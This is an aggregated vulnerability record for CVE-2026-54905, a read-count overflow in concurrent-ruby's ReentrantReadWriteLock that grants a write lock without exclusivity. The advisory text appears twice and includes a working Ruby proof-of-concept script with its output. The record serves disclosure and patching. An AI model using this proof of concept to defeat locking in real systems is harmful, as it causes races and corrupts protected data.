{"id":"CVE-2026-54905","aliases":["AZL-91290","DEBIAN-CVE-2026-54905","EUVD-2026-39000","GHSA-wv3x-4vxv-whpp","UBUNTU-CVE-2026-54905"],"status":"published","title":"concurrent-ruby:  `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","severity":{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00153,"percentile":0.04463,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-128"],"published":"2026-06-19T20:47:38Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"RubyGems","package":"concurrent-ruby","fixed_in":["1.3.7"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"rubygem-concurrent-ruby","fixed_in":["1.3.7-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby-concurrent","fixed_in":["1.3.7-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rubygem-concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5","1.2.3-1","1.2.3-2","1.2.3-3","1.2.3-4","1.3.4-1","1.3.4-1~exp1","1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7-1"}]}],"versions":["1.3.5-1","1.3.6-1"]},{"source":"osv","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.1.1.pre.1","0.1.1.pre.2","0.1.1.pre.3","0.1.1.pre.4","0.1.1.pre.5","0.2.0","0.2.1","0.2.2","0.3.0","0.3.0.pre.1","0.3.0.pre.2","0.3.0.pre.3","0.3.1","0.3.1.pre.1","0.3.1.pre.2","0.3.2","0.4.0","0.4.1","0.5.0","0.5.0.pre.1","0.6.0","0.6.0.pre.1","0.6.0.pre.2","0.6.1","0.7.0","0.7.0.rc0","0.7.0.rc1","0.7.0.rc2","0.7.1","0.7.2","0.8.0","0.8.0.pre1","0.8.0.pre2","0.9.0","0.9.0.pre2","0.9.0.pre3","0.9.1","0.9.2","1.0.0","1.0.0.pre1","1.0.0.pre2","1.0.0.pre3","1.0.0.pre4","1.0.0.pre5","1.0.1","1.0.2","1.0.3","1.0.3.pre3","1.0.4","1.0.5","1.1.0.pre1","1.1.0.pre2","1.1.1","1.1.10","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.6.pre1","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.2","1.2.3","1.3.1","1.3.1.pre","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-3","1.0.5-4","1.1.6+dfsg-2","1.1.6+dfsg-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-3","1.1.6+dfsg-3build1","1.1.6+dfsg-4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5build2","1.1.6+dfsg-5build3","1.2.3-2build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.6-1","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1","1.3.6-1"]}],"products":[{"vendor":"ruby-concurrency","product":"concurrent-ruby"},{"vendor":"rubyconcurrency","product":"concurrent_ruby"}],"references":[{"url":"https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp","tags":["x_refsource_CONFIRM","exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54905","tags":["web","advisory"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54905.yml","tags":["web"]},{"url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54905","tags":["web"]},{"url":"https://github.com/advisories/GHSA-wv3x-4vxv-whpp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54905.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54905","tags":["advisory"]},{"url":"https://github.com/ruby-concurrency/concurrent-ruby","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-54905","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54905","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54905","title":"concurrent-ruby:  `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:42:44.257Z","modified":"2026-06-24T16:41:34.224Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-128"],"updated_at":"2026-11-02T13:37:58.613221Z"}],"euvd":[{"id":"EUVD-2026-39000","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:42:44Z","modified":"2026-06-24T16:41:34Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T18:20:30.242414Z"}],"ghsa":[{"id":"GHSA-wv3x-4vxv-whpp","title":"Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity","description":"### Summary\n`Concurrent::ReentrantReadWriteLock` can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.\n\nThe lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as `WRITE_LOCK_HELD`. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. `try_write_lock` then treats the thread as already holding a write lock and returns `true` without setting the global `RUNNING_WRITER` bit.\n\nThis breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\nThe implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:\n\n```ruby\nREADER_BITS    = 15\nWRITER_BITS    = 14\n\nWAITING_WRITER = 1 \u003c\u003c READER_BITS\nRUNNING_WRITER = 1 \u003c\u003c (READER_BITS + WRITER_BITS)\nMAX_READERS    = WAITING_WRITER - 1\nMAX_WRITERS    = RUNNING_WRITER - MAX_READERS - 1\n\nWRITE_LOCK_HELD = 1 \u003c\u003c READER_BITS\nREAD_LOCK_MASK  = WRITE_LOCK_HELD - 1\nWRITE_LOCK_MASK = MAX_WRITERS\n```\n\nWhen a thread already holds a lock, `acquire_read_lock` increments `@HeldCount`:\n\n```ruby\nif (held = @HeldCount.value) \u003e 0\n  if held \u0026 READ_LOCK_MASK == 0\n    @Counter.update { |c| c + 1 }\n  end\n  @HeldCount.value = held + 1\n  return true\nend\n```\n\nAfter 32,768 read acquisitions, the per-thread held count becomes `32768`, which is equal to `WRITE_LOCK_HELD`. Then `try_write_lock` returns success through its \"already have a write lock\" branch:\n\n```ruby\ndef try_write_lock\n  if (held = @HeldCount.value) \u003e= WRITE_LOCK_HELD\n    @HeldCount.value = held + WRITE_LOCK_HELD\n    return true\n  else\n    # normal global writer acquisition path\n  end\nend\n```\n\nThis branch does not set the global `RUNNING_WRITER` bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/reentrant_read_write_lock'\nrequire 'concurrent/version'\nrequire 'thread'\n\ndef wait_for_queue(queue, timeout_seconds)\n  deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds\n  loop do\n    return queue.pop(true)\n  rescue ThreadError\n    return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) \u003e= deadline\n\n    sleep 0.001\n  end\nend\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\"\n\nlock = Concurrent::ReentrantReadWriteLock.new\nother_reader_ready = Queue.new\nother_reader_stop = Queue.new\n\nother_reader = Thread.new do\n  lock.acquire_read_lock\n  other_reader_ready \u003c\u003c :held\n  other_reader_stop.pop\nend\n\nwait_for_queue(other_reader_ready, 1)\nputs \"other_thread_holds_read_lock=true\"\n\ndepth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD\ndepth.times { lock.acquire_read_lock }\n\nheld_count = lock.instance_eval { @HeldCount.value }\ncounter_before = lock.instance_eval { @Counter.value }\n\nputs \"main_thread_read_acquisitions=#{depth}\"\nputs \"main_thread_held_count=#{held_count}\"\nputs \"counter_before_try_write=#{counter_before}\"\nputs \"running_writer_bit_before=#{(counter_before \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nwrite_granted = lock.try_write_lock\ncounter_after = lock.instance_eval { @Counter.value }\n\nputs \"try_write_lock_returned=#{write_granted}\"\nputs \"counter_after_try_write=#{counter_after}\"\nputs \"running_writer_bit_after=#{(counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nthird_reader_ready = Queue.new\nthird_reader = Thread.new do\n  lock.acquire_read_lock\n  third_reader_ready \u003c\u003c :acquired\nend\n\nthird_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired\nputs \"new_reader_acquired_while_write_claimed=#{third_reader_acquired}\"\n\nif write_granted \u0026\u0026 third_reader_acquired \u0026\u0026 (counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?\n  puts 'result=REPRODUCED write lock granted without setting global writer state'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nthird_reader.kill\nother_reader_stop \u003c\u003c :stop\nother_reader.kill\n```\n\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\nother_thread_holds_read_lock=true\nmain_thread_read_acquisitions=32768\nmain_thread_held_count=32768\ncounter_before_try_write=2\nrunning_writer_bit_before=false\ntry_write_lock_returned=true\ncounter_after_try_write=2\nrunning_writer_bit_after=false\nnew_reader_acquired_while_write_claimed=true\nresult=REPRODUCED write lock granted without setting global writer state\n```\n\n### Impact\nThis breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:38Z","modified":"2026-07-20T13:37:00Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-128"],"updated_at":"2026-11-02T14:40:46.257074Z"}],"nvd":[{"id":"CVE-2026-54905","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.403Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-128"],"updated_at":"2026-11-02T14:12:25.67873Z"}],"osv":[{"id":"CVE-2026-54905","title":"concurrent-ruby:  `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:42:44.257Z","modified":"2026-10-28T02:30:54.770176538Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-128"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54905","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.403Z","modified":"2026-10-26T11:47:34.609938533Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-wv3x-4vxv-whpp","title":"Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity","description":"### Summary\n`Concurrent::ReentrantReadWriteLock` can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.\n\nThe lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as `WRITE_LOCK_HELD`. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. `try_write_lock` then treats the thread as already holding a write lock and returns `true` without setting the global `RUNNING_WRITER` bit.\n\nThis breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\nThe implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:\n\n```ruby\nREADER_BITS    = 15\nWRITER_BITS    = 14\n\nWAITING_WRITER = 1 \u003c\u003c READER_BITS\nRUNNING_WRITER = 1 \u003c\u003c (READER_BITS + WRITER_BITS)\nMAX_READERS    = WAITING_WRITER - 1\nMAX_WRITERS    = RUNNING_WRITER - MAX_READERS - 1\n\nWRITE_LOCK_HELD = 1 \u003c\u003c READER_BITS\nREAD_LOCK_MASK  = WRITE_LOCK_HELD - 1\nWRITE_LOCK_MASK = MAX_WRITERS\n```\n\nWhen a thread already holds a lock, `acquire_read_lock` increments `@HeldCount`:\n\n```ruby\nif (held = @HeldCount.value) \u003e 0\n  if held \u0026 READ_LOCK_MASK == 0\n    @Counter.update { |c| c + 1 }\n  end\n  @HeldCount.value = held + 1\n  return true\nend\n```\n\nAfter 32,768 read acquisitions, the per-thread held count becomes `32768`, which is equal to `WRITE_LOCK_HELD`. Then `try_write_lock` returns success through its \"already have a write lock\" branch:\n\n```ruby\ndef try_write_lock\n  if (held = @HeldCount.value) \u003e= WRITE_LOCK_HELD\n    @HeldCount.value = held + WRITE_LOCK_HELD\n    return true\n  else\n    # normal global writer acquisition path\n  end\nend\n```\n\nThis branch does not set the global `RUNNING_WRITER` bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/reentrant_read_write_lock'\nrequire 'concurrent/version'\nrequire 'thread'\n\ndef wait_for_queue(queue, timeout_seconds)\n  deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds\n  loop do\n    return queue.pop(true)\n  rescue ThreadError\n    return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) \u003e= deadline\n\n    sleep 0.001\n  end\nend\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\"\n\nlock = Concurrent::ReentrantReadWriteLock.new\nother_reader_ready = Queue.new\nother_reader_stop = Queue.new\n\nother_reader = Thread.new do\n  lock.acquire_read_lock\n  other_reader_ready \u003c\u003c :held\n  other_reader_stop.pop\nend\n\nwait_for_queue(other_reader_ready, 1)\nputs \"other_thread_holds_read_lock=true\"\n\ndepth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD\ndepth.times { lock.acquire_read_lock }\n\nheld_count = lock.instance_eval { @HeldCount.value }\ncounter_before = lock.instance_eval { @Counter.value }\n\nputs \"main_thread_read_acquisitions=#{depth}\"\nputs \"main_thread_held_count=#{held_count}\"\nputs \"counter_before_try_write=#{counter_before}\"\nputs \"running_writer_bit_before=#{(counter_before \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nwrite_granted = lock.try_write_lock\ncounter_after = lock.instance_eval { @Counter.value }\n\nputs \"try_write_lock_returned=#{write_granted}\"\nputs \"counter_after_try_write=#{counter_after}\"\nputs \"running_writer_bit_after=#{(counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nthird_reader_ready = Queue.new\nthird_reader = Thread.new do\n  lock.acquire_read_lock\n  third_reader_ready \u003c\u003c :acquired\nend\n\nthird_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired\nputs \"new_reader_acquired_while_write_claimed=#{third_reader_acquired}\"\n\nif write_granted \u0026\u0026 third_reader_acquired \u0026\u0026 (counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?\n  puts 'result=REPRODUCED write lock granted without setting global writer state'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nthird_reader.kill\nother_reader_stop \u003c\u003c :stop\nother_reader.kill\n```\n\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\nother_thread_holds_read_lock=true\nmain_thread_read_acquisitions=32768\nmain_thread_held_count=32768\ncounter_before_try_write=2\nrunning_writer_bit_before=false\ntry_write_lock_returned=true\ncounter_after_try_write=2\nrunning_writer_bit_after=false\nnew_reader_acquired_while_write_claimed=true\nresult=REPRODUCED write lock granted without setting global writer state\n```\n\n### Impact\nThis breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:38Z","modified":"2026-09-10T03:50:50.897491142Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"},{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-128"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"UBUNTU-CVE-2026-54905","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:00Z","modified":"2026-10-17T13:00:26.034613719Z","cvss":[{"version":"4.0","score":2,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"AZL-91290","title":"CVE-2026-54905 affecting package rubygem-concurrent-ruby for versions less than 1.3.7-1","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29Z","modified":"2026-08-28T17:56:41.214828Z","updated_at":"2026-11-02T15:28:11.397546Z"}]}}
